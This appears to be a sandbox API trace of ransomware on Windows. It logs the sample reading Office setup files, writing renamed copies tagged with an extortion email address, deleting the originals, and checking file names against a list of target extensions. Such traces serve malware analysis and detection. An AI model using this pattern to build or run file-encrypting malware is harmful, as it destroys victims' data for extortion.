[0037.271] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0037.275] GetLastError () returned 0x0 [0037.275] ReadFile (in: hFile=0x1a4, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x8f8, lpOverlapped=0x0) returned 1 [0037.282] WriteFile (in: hFile=0x184, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x900, lpOverlapped=0x0) returned 1 [0037.282] ReadFile (in: hFile=0x1a4, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.282] WriteFile (in: hFile=0x184, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0037.282] SetEndOfFile (hFile=0x184) returned 1 [0037.283] CloseHandle (hObject=0x184) returned 1 [0037.283] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.284] SetEndOfFile (hFile=0x1a4) returned 1 [0037.284] CloseHandle (hObject=0x1a4) returned 1 [0037.284] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0037.285] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml")) returned 1 [0037.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0037.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0037.285] lstrlenW (lpString=".doc") returned 4 [0037.285] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0037.285] lstrlenW (lpString=".docx") returned 5 [0037.285] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0037.285] lstrlenW (lpString=".pdf") returned 4 [0037.285] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0037.285] lstrlenW (lpString=".xls") returned 4 [0037.285] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0037.285] lstrlenW (lpString=".xlsx") returned 5 [0037.285] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0037.285] lstrlenW (lpString=".ppt") returned 4 [0037.285] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0037.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0037.285] lstrlenW (lpString=".zip") returned 4 [0037.285] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0037.285] lstrlenW (lpString=".rar") returned 4 [0037.285] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0037.285] lstrlenW (lpString=".bz2") returned 4 [0037.285] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0037.285] lstrlenW (lpString=".7z") returned 3 [0037.285] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0037.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0037.286] lstrlenW (lpString=".dbf") returned 4 [0037.286] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0037.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0037.286] lstrlenW (lpString=".1cd") returned 4 [0037.286] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0037.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0037.286] lstrlenW (lpString=".jpg") returned 4 [0037.286] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0037.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0037.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0037.286] lstrlenW (lpString=".doc") returned 4 [0037.286] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0037.286] lstrlenW (lpString=".docx") returned 5 [0037.286] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0037.286] lstrlenW (lpString=".pdf") returned 4 [0037.286] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0037.286] lstrlenW (lpString=".xls") returned 4 [0037.286] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0037.286] lstrlenW (lpString=".xlsx") returned 5 [0037.286] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0037.286] lstrlenW (lpString=".ppt") returned 4 [0037.286] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0037.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0037.286] lstrlenW (lpString=".zip") returned 4 [0037.286] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0037.286] lstrlenW (lpString=".rar") returned 4 [0037.286] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0037.286] lstrlenW (lpString=".bz2") returned 4 [0037.286] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0037.286] lstrlenW (lpString=".7z") returned 3 [0037.286] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0037.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0037.286] lstrlenW (lpString=".dbf") returned 4 [0037.286] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0037.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0037.287] lstrlenW (lpString=".1cd") returned 4 [0037.287] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0037.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0037.287] lstrlenW (lpString=".jpg") returned 4 [0037.287] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0037.287] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0037.287] lstrlenW (lpString="InfoPathMUI.XML") returned 15 [0037.287] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0037.287] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1231) returned 1 [0037.287] CloseHandle (hObject=0x1a4) returned 1 [0037.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml")) returned 0x20 [0037.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0037.287] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0037.287] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.288] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.288] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0037.291] GetLastError () returned 0x0 [0037.291] ReadFile (in: hFile=0x1a4, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x4cf, lpOverlapped=0x0) returned 1 [0037.300] WriteFile (in: hFile=0x1ac, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x4d0, lpOverlapped=0x0) returned 1 [0037.301] ReadFile (in: hFile=0x1a4, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.301] WriteFile (in: hFile=0x1ac, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0037.301] SetEndOfFile (hFile=0x1ac) returned 1 [0037.301] CloseHandle (hObject=0x1ac) returned 1 [0037.302] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.302] SetEndOfFile (hFile=0x1a4) returned 1 [0037.303] CloseHandle (hObject=0x1a4) returned 1 [0037.303] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0037.303] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml")) returned 1 [0037.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0037.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0037.303] lstrlenW (lpString=".doc") returned 4 [0037.303] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0037.303] lstrlenW (lpString=".docx") returned 5 [0037.303] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0037.303] lstrlenW (lpString=".pdf") returned 4 [0037.303] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0037.303] lstrlenW (lpString=".xls") returned 4 [0037.303] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0037.303] lstrlenW (lpString=".xlsx") returned 5 [0037.303] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0037.303] lstrlenW (lpString=".ppt") returned 4 [0037.303] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0037.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0037.303] lstrlenW (lpString=".zip") returned 4 [0037.303] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0037.303] lstrlenW (lpString=".rar") returned 4 [0037.303] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0037.304] lstrlenW (lpString=".bz2") returned 4 [0037.304] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0037.304] lstrlenW (lpString=".7z") returned 3 [0037.304] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0037.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0037.304] lstrlenW (lpString=".dbf") returned 4 [0037.304] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0037.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0037.304] lstrlenW (lpString=".1cd") returned 4 [0037.304] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0037.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0037.304] lstrlenW (lpString=".jpg") returned 4 [0037.304] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0037.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0037.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0037.304] lstrlenW (lpString=".doc") returned 4 [0037.304] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0037.304] lstrlenW (lpString=".docx") returned 5 [0037.304] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0037.304] lstrlenW (lpString=".pdf") returned 4 [0037.304] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0037.304] lstrlenW (lpString=".xls") returned 4 [0037.304] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0037.304] lstrlenW (lpString=".xlsx") returned 5 [0037.304] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0037.304] lstrlenW (lpString=".ppt") returned 4 [0037.304] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0037.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0037.304] lstrlenW (lpString=".zip") returned 4 [0037.304] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0037.304] lstrlenW (lpString=".rar") returned 4 [0037.304] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0037.304] lstrlenW (lpString=".bz2") returned 4 [0037.305] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0037.305] lstrlenW (lpString=".7z") returned 3 [0037.305] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0037.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0037.305] lstrlenW (lpString=".dbf") returned 4 [0037.305] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0037.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0037.305] lstrlenW (lpString=".1cd") returned 4 [0037.305] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0037.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0037.305] lstrlenW (lpString=".jpg") returned 4 [0037.305] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0037.305] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0037.305] lstrlenW (lpString="BRANDING.XML") returned 12 [0037.305] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0038.380] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=596341) returned 1 [0038.380] CloseHandle (hObject=0x1c0) returned 1 [0038.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml")) returned 0x20 [0038.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0038.380] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0038.380] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.380] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.380] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0038.563] GetLastError () returned 0x0 [0038.563] ReadFile (in: hFile=0x1c0, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x91975, lpOverlapped=0x0) returned 1 [0038.965] WriteFile (in: hFile=0x1c8, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x91980, lpOverlapped=0x0) returned 1 [0038.974] ReadFile (in: hFile=0x1c0, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0038.974] WriteFile (in: hFile=0x1c8, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0038.974] SetEndOfFile (hFile=0x1c8) returned 1 [0039.453] CloseHandle (hObject=0x1c8) returned 1 [0039.458] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.458] SetEndOfFile (hFile=0x1c0) returned 1 [0039.464] CloseHandle (hObject=0x1c0) returned 1 [0039.464] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0039.464] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml")) returned 1 [0039.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0039.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0039.766] lstrlenW (lpString=".doc") returned 4 [0039.766] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0039.766] lstrlenW (lpString=".docx") returned 5 [0039.766] lstrcmpiW (lpString1=".docx", lpString2="G.XML") returned -1 [0039.766] lstrlenW (lpString=".pdf") returned 4 [0039.766] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0039.766] lstrlenW (lpString=".xls") returned 4 [0039.766] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0039.766] lstrlenW (lpString=".xlsx") returned 5 [0039.766] lstrcmpiW (lpString1=".xlsx", lpString2="G.XML") returned -1 [0039.766] lstrlenW (lpString=".ppt") returned 4 [0039.766] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0039.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0039.766] lstrlenW (lpString=".zip") returned 4 [0039.766] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0039.766] lstrlenW (lpString=".rar") returned 4 [0039.766] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0039.766] lstrlenW (lpString=".bz2") returned 4 [0039.766] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0039.766] lstrlenW (lpString=".7z") returned 3 [0039.766] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0039.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0039.766] lstrlenW (lpString=".dbf") returned 4 [0039.766] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0039.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0039.766] lstrlenW (lpString=".1cd") returned 4 [0039.766] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0039.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0039.766] lstrlenW (lpString=".jpg") returned 4 [0039.766] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0039.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0039.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0039.767] lstrlenW (lpString=".doc") returned 4 [0039.767] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0039.767] lstrlenW (lpString=".docx") returned 5 [0039.767] lstrcmpiW (lpString1=".docx", lpString2="G.XML") returned -1 [0039.767] lstrlenW (lpString=".pdf") returned 4 [0039.767] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0039.767] lstrlenW (lpString=".xls") returned 4 [0039.767] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0039.767] lstrlenW (lpString=".xlsx") returned 5 [0039.767] lstrcmpiW (lpString1=".xlsx", lpString2="G.XML") returned -1 [0039.767] lstrlenW (lpString=".ppt") returned 4 [0039.767] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0039.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0039.767] lstrlenW (lpString=".zip") returned 4 [0039.767] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0039.767] lstrlenW (lpString=".rar") returned 4 [0039.767] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0039.767] lstrlenW (lpString=".bz2") returned 4 [0039.767] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0039.767] lstrlenW (lpString=".7z") returned 3 [0039.767] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0039.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0039.767] lstrlenW (lpString=".dbf") returned 4 [0039.767] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0039.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0039.767] lstrlenW (lpString=".1cd") returned 4 [0039.767] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0039.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0039.767] lstrlenW (lpString=".jpg") returned 4 [0039.767] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0039.768] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0039.768] lstrlenW (lpString="Office32MUI.XML") returned 15 [0039.768] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0039.930] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1383) returned 1 [0039.930] CloseHandle (hObject=0x1c0) returned 1 